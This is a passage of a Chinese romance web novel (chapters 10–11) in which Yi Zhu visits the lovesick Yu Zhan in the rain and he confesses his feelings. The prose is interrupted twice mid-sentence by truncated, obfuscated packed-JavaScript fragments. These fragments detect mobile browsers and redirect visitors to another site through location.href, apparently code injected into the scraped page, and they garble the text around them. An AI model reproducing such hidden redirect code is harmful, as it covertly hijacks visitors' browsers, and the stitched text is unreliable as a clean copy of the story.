伊竺一直都挺羡慕沈笑身上那股用不完的劲的。其实认识她的人不止一个跟她说过,像她这么寡淡又要强的性子,是不会有人喜欢,也很难融入到别人的圈子里的。 她当时的回答是,特别不屑。她有自己的人生,有自己的小小世界,根本不需要强硬地去融进别人的生活。 直到她进了302寝室的大门。她必须承认,有那么一瞬间,她真的被沈笑身上的热情打动过。她感觉挺新奇的。这世界上还真有这样的人,热烈得像朵小向日葵。 不过,伊竺不嫉妒沈笑。 因为在她孤身奋斗的这么多年里,她也曾认真往自己世界里那块贫瘠的土地上种下了一片向日葵。而沈笑的出现,大概就是那些本还是小苗的向日葵对她的感谢。 感谢她几经周折,终于让她们都见到了光。 她是自己熬过来的。所以她比谁都懂,残酷的生存法则根本不会幸免每一个人,只有摔倒过无数次后又一次次坚强站起来的人,才可以享受成功后的每一次美好和馈赠。 而在这个世界上,能拉伊竺一把的人,只有她自己。 - 她们多多少少都喝了点酒,只有伊竺滴酒未沾,所以非常不幸地当选了司机。伊竺刚拿到驾照,新手上路,实在不敢太过招摇,车开得很慢。 把她们都送到住处,并将和暮的车停进车库后,她才慢吞吞地拿出手机准备打车。 黎映这座城市并没有太多的夜生活,还不到九点半,街道上就只剩下零零散散的几个行人。外边不知何时下了场小雨,雨点打湿了地面,也泛起一点凉意。伊竺拢紧外套,点亮了手机屏幕,然而视线却堪堪落在中间的那行消息提示上。 三个小时前,也就是六点出头。喻湛给她发了条消息。伊竺停住脚步,站在霓虹闪烁的街头,点进和他的聊天框。 哼哼大王:伊竺,你这个骗子。 10. 一个巴掌 到底谁才是骗子。伊竺承认自己确实没去他家,但她早已跟他说过个中缘由,他没看见,那是他自己的问题。 这个世界上怎么会有人如此喜欢颠倒黑白? 伊竺并不是很想理会喻湛的无理取闹,退出聊天框准备打车回家,但她还没来得及输入地址,喻湛的消息就如有心电感应那般先弹了过来。 哼哼大王:伊竺,你又不回我消息! 伊竺看都懒得看,继续输入地址。 车很快就来了,她坐上车,给司机报了手机尾号,将手机揣进兜里,闭眼小憩。 那头还在源源不断地给她发来消息。 哼哼大王:你让我开门,我还以为你亲自来了。 哼哼大王:结果是外卖小哥。 哼哼大王:他还说我墨迹! 哼哼大王:我不过洗了个头和澡而已。 哼哼大王:都没到八分钟呢。 哼哼大王:只有七分五十二秒,他就说我! 哼哼大王:他欺负我,伊竺。 哼哼大王:伊竺竺竺竺竺竺竺! 哼哼大王:你理理我,好不好? 伊竺没想到喻湛生起病来会这么粘人,她被磨得有些头疼,怕喻湛会缠上自己,忙打开手机敷衍了他几句。 :跟你说过的,我今晚要跟我读研时的舍友去吃饭。 :你早点休息,生病了就少折腾自己。 哼哼大王:哼……哼……伊竺,你又这样。 伊竺揉着眉心,真想直接把手机丢出窗外。 :…… :说吧,你到底想让我干什么? 哼哼大王:你来看看我,好不好? :太晚了,不方便。 哼哼大王:我家里没人。 :那也不行。 哼哼大王:我舍友这次是真回家了。 喻湛显然理解错了她的意思,以为她不来是觉得他在骗人。不过喻湛确实不值得相信,他之前就为了把她骗过来,说过家里没人。一样的路数,伊竺知道他不可能再用第二遍,他也没这么蠢,他精得很。但她不想去就是不想去,不管他现在是好是坏。 伊竺又开始紧急在脑中搜刮拒绝话术。 :我是个传统的女人。 哼哼大王:? 哼哼大王:这种时候你就别逗我笑了。 :我没事逗你笑干嘛。 :孤男寡女,深更半夜,共处一室,会发生什么,你不可能一点儿都不知道。我相信自己,但不太相信你。 哼哼大王:…… 行了,他知道了。伊竺还在因为之前自己亲她没跟她报备那事生闷气。 哼哼大王:那件事我之前明明跟你道过歉了…… :道过歉并不代表你就知道错了。 哼哼大王:伊竺,你只会让人难过。 :嗯。 冷漠的字从对话框里弹了出来,激得喻湛鼻尖发酸。他不明白自己为何突然变成这样,好像只是因为某日心中突然响起了预警。他本想慢慢来的,慢慢增进和伊竺的关系。 但他发现伊竺好像可以靠自己做好所有的事情,再慢点的话,他在她身边的位置会越来越轻,他在她心中也越来越淡,他变得不再重要,不能让她记起,像个垃圾不被她需要。 他不清楚接下来的日子如果没有伊竺,自己又会变成什么样子。他只知道伊竺是他好不容易找回来的,他不能失去。 他好想伊竺,伊竺一点儿也不知道。 喻湛翻了个身,蜷缩成一团,他将自己裹进被子里,指尖有一搭没一搭地点着墙面上的孔洞,心也在不断地摇摆着,伊竺在意我,伊竺不在意我,伊竺在意我,伊竺不在意我,在意我,不在意我,在意我,不在意我…… 直到数完肉眼可见的洞后,他才停了下来。 不在意我。 伊竺一点儿也不在意他。 喻湛的鼻子越发酸胀,他嘴角撇了撇,眼角溢出的情绪在枕头上聚成了一块幽怨的水痕。 他早该知道的,伊竺是个能义无反顾抛下一切离开的人,他又能指望她有多少真心呢。 - 伊竺在小区门口下了车。 和暮给她发了几条消息问她到家没,她刚准备回复,章施华也发问了。伊竺一一回了她们的消息,往小区里走。 今晚值班的保安大叔是伊竺的老乡,他之前托伊竺给他家人带过东西,所以关系不错。 大叔见伊竺回来,热情地跟她打了声招呼。伊竺朝他颔首,视线却落在保安亭窗边的失物招领处。 一个印着怪盗基德的Airpods保护套。 她之前给喻湛送过一个同款。 那时伊竺生了场大病,医生嘱咐她出院后还得静养一段时间。非常不巧,伊芮那段时间正好也要复检,她的情况更复杂,所以爸妈都没时间过来看她。后来是喻湛从别人那听说她病了后,来回奔波照顾了她半个月。 伊竺犹记他刚来的那天,脸色黑得像锅底。他默不作声地在门口站了许久,直到伊竺累得睁不开眼后才慢慢走到床边坐下。他眼中有复杂的情绪在翻涌,动了动唇,却欲言又止。 他替伊竺掖好被角,才问道:“怕不怕?” 没什么好怕的,伊竺在心里想,她早就死过一回了。 于是回:“不怕。” “疼吗?” 好像……是有点疼,那天她脸都疼白了。但伊竺最擅长的就是说反话,所以告诉他:“不疼。” “为什么不告诉我?” “没什么好说的,又不是要死的病。” “你准备死了再告诉我吗?” 伊竺闭上眼:“也不是不行。到时候你自由了,喻湛。” 喻湛自嘲地勾起嘴角,轻摇了下脑袋,他眼皮耷着,神情颓然地看她:“我不想跟你讨论这个,伊竺。我只想弄清楚,为什么随便一个人都可以比我先知道你病了这事?” 伊竺懒得思考,只道:“我如果知道这件事会被他们传到你那里,当初就不会告诉他们。” 其实她根本没告诉别人,只是刚好被他们撞见了。她也没说自己得了什么病,更不知道这事怎么就让喻湛知道了。她向来讨厌被别人看到自己的脆弱,这让她觉得割裂。 喻湛显然对这话感到非常不可置信。 他双拳紧握,就连嘴唇都开始颤抖,他嗤笑一声,垂头看向地面,缓了许久心中堆积的烦闷,才抬眸,但看到躺在病床上的伊竺,他眉心一拧,眼里的心疼又先溢了出来。 “你不拿话呛我,不行吗?” “不行。” 喻湛不再讲话,只安静地坐在一旁。 见她轻咳几声,去给她接了杯水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969790|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他看着伊竺有气无力地将水喝完,兀地出声:“可是我怕,伊竺。我好疼。” 他在怕什么?他在疼什么?伊竺根本不知道他在说什么,心里只觉得他今天脑子好像有点拎不清情况,她本就虚弱得不想动弹了,他还逼她生气,让她说这么多话。 他怎么莫名其妙的。 之前也没见他有多在意自己。 伊竺艰难地翻过身,背对着他。 …… 伊竺必须承认,那段时间喻湛把她照顾得很好,她甚至比之前最胖的时候还重了几斤。 出于感激,伊竺问他想要什么东西。他思考了许久,才说想给自己的Airpods买个保护套。伊竺心里觉得他提的要求特别诡异,明面上却什么也没说。他想要,那就给他买好了。 但她不知道喻湛喜欢什么,只记得之前有几次他俩一起去吃饭,他好像在商店里多看了几眼跟柯南有关的物品。 那会儿正好赶上了他的生日,伊竺便将这个保护套和给他准备的生日礼物一起送给他了。 她都没有仔细看喻湛的表情,也不知道他喜不喜欢。 伊竺不喜欢欠别人,喻湛当初帮助了她,她理因有点行动。但即使送了礼物,她也依旧觉得自己亏欠太多,她耗费了他太多精力,那段时间他几乎将时间拆半再拆半地过来陪她。 伊竺并非铁石心肠之人,知道自己要弥补他,只是一直没找到好的时机。再加上从那之后,喻湛对她愈发敷衍,渐渐的,她也就被磨出脾气来了。 现在想来,或许是因为自己占用了他太多的工作时间,导致他丢下了一些工作进度,那段时间对她的敷衍估计也是在公司加班,抽不出时间来看她的消息。毕竟他前不久刚跟自己解释过的,他没那么厉害,做不到两头兼顾。 也是。喻湛又不是超人。 伊竺自诩是个大度的人,她觉得自己好像可以理解喻湛的无奈了。毕竟她忙起来的时候,别说回人消息这种小事了,她想让地球直接毁灭。 雨滴猝不及防地掉落下来,划过伊竺的脸庞。 她想起喻湛那会儿照顾自己时的无微不至。 他会赶在上班前过来,就在床边坐着陪陪她;中午休息时,他会不辞辛苦地给她送午饭……即使当时她整个人都迷迷糊糊的,也能感受到喻湛强烈的存在。 是不是该去看看他呢? 伊竺开始反思自己的行为。 她从前都是嫌麻烦,直接拒绝掉这种去探病的要求,更何况她说话刻薄,也不会讲“祝你早日康复”的那些好听话。 她过去会不会让喻湛的病情变得更严重? 她不是华佗,拥有“妙手回春”的好名声。但她浑身带刺,保不齐会因一张烂嘴或一只总快过脑子的手让人直接入冬。 雨越下越大,淋湿了眼前的世界。 伊竺抬手轻拭,视线依旧落在失物招领处的那个Airpods保护壳上。保安大叔见她一直站在亭子外淋雨,怕她感冒,便抽了把共享的雨伞递给她。 伊竺抬眸看向那把伞,心中突然开始懊恼,那天走得太匆忙,都忘了提醒喻湛带上雨伞。但转念一想,喻湛那个臭小子无缘无故亲了她一下,他会感冒纯属他活该。 伊竺接过伞,跟保安大叔说了声“谢谢”后,撑伞钻进雨幕里。她越走越快,越来越急切,慢慢跑了起来。 11. 一颗甜枣 直到带着一身湿意到了喻湛家门口,伊竺才反应过来这一切有多扯淡。她缓了口气,瞧着手中的雨伞,按响门铃。 里头不知道在磨蹭什么,过了许久她才听到房间开门的声音,伴随着一声“来了”,面前的防盗门也打开了。 伊竺抬起头,猝不及防地对上了喻湛高高肿起的眼睛。有这么难受吗?伊竺盯着他苍白的脸,眉心终于聚起一团忧思。 她踮起脚,想去摸喻湛的体温,但手还只伸到一半,就被他一把扯进了怀里。他的脸颊在伊竺颈侧蹭了蹭,温热的呼吸在她肩上蔓延一片。伊竺小心地感受了一下,并没有很烫。 看来没发烧。她问道:“很难受吗?” 喻湛轻点了下头:“嗯。”因为他发觉伊竺根本不在意他。 她却说:“那去休息吧,我不打扰你了。” 喻湛不可思议地抬头,显然没想到她真的只是来看他一眼。他的视线在伊竺干涩的唇上放了片刻,又往下移了点,落在她被雨淋湿的发梢上。 “外面又下雨了吗?”他捏起她的一缕发丝搓开,又说,“进来坐会儿,等雨停了再走,还是……你想现在就走?” 伊竺看了眼他的身后。 “我室友今天真的不在。”喻湛侧身往旁边让开,让伊竺能够看清他公寓的全貌,“他本来要给我带饭,我左等右等都没见他回来,后来他突然给我发来消息,说亲戚生病住院了,他要回家一趟,今晚不回来。” 阿幸从黑暗中跳了出来,站在玄关的木架上,警惕地盯着伊竺。伊竺跟她对视一眼,又看向脸色不佳的喻湛,她一下子就抓到了重点:“所以你到现在都没吃饭?” “嗯,我还没吃上饭。真的很饿,伊竺。” 果然是个十指不沾阳春水的大少爷,饿了也不知道自己做饭吃。伊竺将伞放在门外,推开喻湛走进屋里,嘴里又憋出一句呛话:“饿死你算了。” 喻湛的公寓很大,三室一厅两卫一厨,还加了个大阳台,看上去得有一百五十来平,这种房源放在黎映每月租金就要上万,伊竺回眸瞥他一眼,硬生生将吐槽的话憋了回去。算了,少爷在家有人伺候,又怎会自己动手做饭。 伊竺站在玄关口,往里又瞄了几眼。这房子的构造很奇怪,她视线找了半天都没找到厨房在哪,于是轻咳一声,问道:“你家厨房在哪?” “你要给我做饭吗?”他肉眼可见地好了大半。 “如果你想饿着的话,我也可以不做。” “不用这么麻烦,我带你去外面吃吧。” 他们异口同声道。 伊竺怔了怔,指着他身后的钟:“现在已经快十点了。” “哦。”他刚刚只顾着伤心,都没注意几点了。喻湛又问,“那你饿不饿?我会煮面,我室友说我煮的面很好吃,我煮一碗给你尝尝好不好?” 伊竺动了动唇,却欲言又止。他能不能搞搞清楚,现在说饿的到底是谁。既然会煮面,那他到底为什么不给自己煮一碗。伊竺觉得自己不是很懂他的脑回路,挑起眉毛深吸了一口气,回道:“我吃完饭才来的。” “哦。”喻湛又垂下头去,不知道想到了什么,他眸子亮亮的,又说,“那你一定吃得很饱吧,我陪你去走走?” “……外面在下雨。” 气氛安静了一瞬。 喻湛又“哦”了一声,彻底不说话了。 “你不是很饿吗?真不用我给你烧点吃的?” 他蔫蔫地垂着头,明显是心情不好。伊竺站在他面前,却始终看不见他的神色。她方才是跑着来的,嘴有些干,喉咙也有些涩,她轻咳一声,喻湛立刻抬眸看她,瞥见她毫无血色的唇后,慌手慌脚地去倒了杯水,递给她。 伊竺灌了几口水,将水杯搁在木柜上。她掌心握着冰凉的杯壁,静默了几秒后,抬头一鼓作气地问:“你最近到底怎么了?你原先明明不是这个样子的。” “那我原先是什么样的?”他急切地说。 伊竺被问住,怔在原地。 这个问题,她还真得好好想想。其实他俩没在一起之前,伊竺就对他有所耳闻了,毕竟她们302宿舍里头有个常年混迹在黎映大学城各大校园网中的八卦头子。 伊竺能知道喻湛这人,还得感谢和暮。她说他本科就是黎映理工的,读的控制科学与工程,他那专业淳阳大学和安浏大学都更好,他本来可以选择保研去那两个学校的其中一个,但他自己想留在本校继续读研深造。他读的专业前景好,学校也不差,是所综合实力还挺强的985,他自己成绩也顶好,自然会有不少人乐意关注他。 第二次还是从和暮口中听到的他。她说喻湛大三的时候差点跟实验室的学长打起来了,就因为想请假去趟临隙,但学长没答应。当时伊竺还觉得他有点蠢,怕不是个只会学习、不会处理人际关系的死脑筋。 后来她听说,喻湛有个特别重要的人在临隙。伊竺就在临隙读的大学,知道临隙那地方全年潮湿多雨,天气并不好。她在心里笑他傻,临隙也不是什么顶好的地方,就是重要到能要了他命的人,也没必要因为这么件破事跟人拉仇恨吧? 第三次见到喻湛是在黎映狂欢音乐节的现场,她去听高中时最爱的乐队的演出。他就隐在狂热的人群中,隔着汹涌的人潮突然对上了她的视线。他也作为观众,来听幂次方的演出。 第四次见面,他说要追她。彼时伊竺刚加入Dervla乐队,那天正好开完复盘大会。出来时外边的天有些阴沉,像是要下雨,伊竺没带伞,刚准备跑回寝室,就被喻湛堵住了去路。 他一开口就给伊竺干懵了,那双黑眸沉沉,声音却又异常坚定地重复了一遍:“我要追你。” 伊竺只是看着他:“你知道我是谁吗?你知道我从哪来吗?你知道我读的是什么专业吗?” “你叫伊竺,家在淳阳,读的地理科学专业,现在研三,回来论文答辩。你本科在临隙读的,读的是地理信息科学专业,还辅修了一门计算机科学与技术。你还想问什么?”他停顿了一瞬,又说,“我知道很多,我还可以继续说。本科期间你……” “停。你?” 伊竺知道,正常人肯定会说,我找茬都问不出这么神经病的问题。她以为喻湛也会这样想,谁知他却特别认真地回答了:“这个我还不知道,但我可以慢慢了解。” 那会儿的喻湛不会像现在这样无理取闹,甚至粘人得无可救药,“之前你有自己要坚持的东西,有很强的主体性,你不会像现在这样,既软弱又幼稚。你之前都不爱哭的,喻湛。” “可是,我觉得我快要失去你了,伊竺。”喻湛垂下湿漉的眼眸看她,“我眼看着我们的感情越来越淡,我在你身边的位置越来越轻,如果我再不做出些改变,让你知道我对你的心意,我对你的感情,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969791|193434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我想为你做的一切,我不知道……我以后还会不会有机会能告诉你。” “我不想让自己后悔。” 喻湛的指尖在她身侧试探了许久,吐出一口气后,他索性隔着外套直接握起:“刚刚在微信里跟你聊完之后,我其实想了很多。我想你一定很疑惑,我之前明明对你这么冷淡,为什么现在莫名其妙又变成这样。” 伊竺“嗯”了一声。 这确实是她的疑问,她也很想知道答案。 “因为我想跟你慢慢来,我们慢慢了解彼此,慢慢挖掘彼此的优缺点,然后慢慢磨合。” 喻湛垂眸轻笑一声:“我必须承认,刚开始我确实对你很坏,因为工作太忙,我没法顾忌太多,反而忽略了你。但我心里是想着要靠自己的能力多赚点钱,好给我们的将来打下更坚实的基础。伊竺,我一直都想跟你长久地走下去。” “后来我放下了一些手头的工作,想和你培养感情,所以那段时间我经常约你出来,那时候的你也是欣然赴约,虽然你的嘴很毒,但我们的感情终于更深了一些。”喻湛轻快地说完这段话后,声音却突然变了调,“可是,当我以为我们已经有了些默契,我也可以成为你的依靠时,我却从别人那里得知了你生病的消息。我不甘心,我真的很不甘心,伊竺,为什么你告诉了所有人,却独独忽略了我?” 伊竺眼睫微颤,捏着水杯的指尖不断收紧,她又抿了口水,将心头那股莫名的情绪压下去。 “我很在意你,所以想让你也多在意我一些。”喻湛昂起脑袋看向天花板,又笑一声,“后来我想明白了,你只是还不喜欢我,有什么关系呢,我既然刚开始能下定决心跟你慢慢来,那又有什么等不了的。” 他一遍遍地告诉自己,请再给她一点时间,她一直都是勇敢的人,如今没有任何表示,只是还不喜欢你。他把自己给哄好了,他想每次都以最好的姿态出现在伊竺面前。 “伊竺,我最擅长的就是忍耐和等待了。我可以等你很久很久,在此期间,你可以继续做你想做的所有事情,我会尊重你的一切选择,只要你还记得我就足够了。” 伊竺没有遇到过这样的场景,确实没法迅速找到解决方案,她动了动唇,却丢出一句:“喻湛,你……好像喜欢我。” 她终于要知道了吗? 知道他有多喜欢她。 “嗯。”喻湛笑着看她,“我喜欢你。” 伊竺震惊于他的坦诚,双眸蓦地睁大。 “我喜欢你,伊竺。” 喻湛朝她靠近一步,接过她手中的水杯,重新放在木柜上,又说:“我很喜欢你。” 他将伊竺揽进怀里,还在说着:“我太喜欢你了,伊竺。” “所以,我真的忍不下去了。” 伊竺只觉得心里轰然坍塌了一片。 她又问出了之前问过喻湛的那个问题:“那你现在知道我名字的来意了吗?” “我知道了,取自刘孝先的《咏竹》。” 伊竺眼眸微动,心里突然觉得,她好像是时候该给自己一个机会了,一个打开心窗,接触世界的机会。她从没有这么直白地感受过喜欢,但不知为何,这次她异常坚定地相信,她一定会收获很多美好。 “小喻,”她从喻湛的怀里抬头,眼眸中流出从未有过的光亮,“我决定给你一个将功补过的机会,就从明天的约会开始,怎么样?”